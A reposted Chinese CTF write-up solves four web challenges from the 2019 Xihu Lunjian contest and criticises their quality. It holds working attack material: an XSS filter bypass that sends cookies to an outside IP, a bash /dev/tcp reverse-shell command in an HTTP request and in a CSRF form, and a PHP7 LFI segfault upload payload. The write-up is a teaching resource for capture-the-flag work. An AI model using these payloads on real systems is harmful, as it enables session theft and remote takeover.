2019 西湖论剑 Web wp

栏目: 编程工具 · 发布时间: 5年前

内容简介:2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。[TOC]NULL 题目地址:http://ctf1.linkedbyx.com:10122

2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。

[TOC]

Web

Web 1 猜猜 flag 在哪

Description

NULL 题目地址:http://ctf1.linkedbyx.com:10122

Hacking

扫目录发现有 .DS_Store 文件,发现 http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e 目录下有 git 泄露

拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt

2019 西湖论剑 Web wp

拿到 code 为 9faedd5999937171912159d28b219d86,访问 flag/seed.txt 发现回显 NAVIE

在首页输入 code 参数与 name 参数,回显了另一个 code

2019 西湖论剑 Web wp

综合前面给出的 flag/seed.txt ,猜测是个随机数的问题,应该是要猜解随机数问题,用 php_mt_seed 这个 工具 直接爆破可以得到 seed

2019 西湖论剑 Web wp

访问 flag/209228.txt 拿到 flag

Web2 breakout

Description

NULL 题目地址:http://ctf2.linkedbyx.com:10611

Hacking

随便用一个用户名进去。

2019 西湖论剑 Web wp

有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行

我们先测试留言

<script>alert(1);</script>
<:)>alert(1);

发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload

</li><iframe src='http://106.14.153.173:8080/'><li>

成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :

</li><iframe src="          :window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>

然后我们只需要把 http://ctf2.linkedbyx.com:10611/main.php 在 report 界面提交就好了。

2019 西湖论剑 Web wp

成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了

POST /exec.php HTTP/1.1
Host: ctf2.linkedbyx.com:10611
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ctf2.linkedbyx.com:10611/exec.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close
Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh
Upgrade-Insecure-Requests: 1

command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1

这里我直接弹了 shell ,在根目录下发现 flag.txt

2019 西湖论剑 Web wp

其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF

<form action="exec.php" method="post" id="myform">
<input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command">
<input value="1" name="exec">
</form>
<iframe src="          :parent.document.getElementById('myform').submit();"></iframe>

事实证明也确实可以这么去做。

2019 西湖论剑 Web wp

waf 黑名单如下:

function waf($str){
  $black_list = "script|\W+on.*?=";
  $str = preg_replace("/".$black_list."/i",":)",$str);
  return $str;
}

Web 3 babyt3

Description

babyt3(Ubuntu 16.04 php 7.0) 题目地址:http://ctf1.linkedbyx.com:10010

Hacking

index 提示了有 dir.php 跟 include $_GET['FILE']

Dir.php 可以列目录,在根目录下找到 flag ,用 http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4 包含即可

真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛

赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…

index.php 源码:

<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: dir.php -->

Dir.php 源码:

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

然后我们就可以看到这个题是多么多么…

strpos('flag',$a) !== false

strops 参数都写反了…所以就成了没有过滤的一道题…

预期解

预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因

POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/test.php
Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850
Content-Length: 248
Connection: close
Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b
Upgrade-Insecure-Requests: 1

-----------------------------9417939141775834208717807850
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------9417939141775834208717807850--

发以上 http 包,将 php://filter/string.strip_tags/resource=/etc/passwd 这个 payload 传入 include 方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir 文件夹下,并且不会被删除。

这样我们就可以包含我们的恶意文件代码了。具体看 LFI via SegmentFault

自己做了个漏洞环境供复现: PHP7-LFI

Web 4 blog

Description

NULL

Hacking

原题,Google CTF 2018 bbs

github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs

Wp: https://ctftime.org/task/6243

Conclusion

这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Growth Hacker Marketing

Growth Hacker Marketing

Ryan Holiday / Portfolio / 2013-9-3 / USD 10.31

Dropbox, Facebook, AirBnb, Twitter. A new generation of multibillion dollar brands built without spending a dime on “traditional marketing.” No press releases, no PR firms, and no billboards in Times ......一起来看看 《Growth Hacker Marketing》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换